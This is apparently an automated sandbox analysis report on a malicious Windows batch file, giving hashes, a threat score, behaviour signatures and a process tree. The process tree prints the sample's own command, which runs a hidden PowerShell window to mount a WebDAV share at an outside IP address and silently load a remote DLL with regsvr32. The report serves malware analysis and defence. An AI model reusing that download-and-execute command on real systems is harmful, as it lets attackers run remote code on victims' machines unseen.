Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 09:12

General

  • Target

    90733689496613748.bat

  • Size

    3KB

  • MD5

    5cadbb4b1fa15f63f3c444c4140cf1ba

  • SHA1

    1e6e9b808fa8abdefa2851cb728c6d875a49a21a

  • SHA256

    6cca2cfb8729583454ca438397e2dac6ffd46d2d3315cd95521013dda77b1246

  • SHA512

    2204b0e7e5e427059f72ada849028666ed544ef73bb2772b2a06999fd918f5c842a9308270932d404e8ce82b50089b1d511a839058b2c4afc742f3f4c170fc17

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\90733689496613748.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\231623063924743.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2724
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\231623063924743.dll
          3⤵
            PID:2456

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/1792-23-0x000000001B530000-0x000000001B812000-memory.dmp

              Filesize

              2.9MB

            • memory/1792-24-0x0000000002960000-0x0000000002968000-memory.dmp

              Filesize

              32KB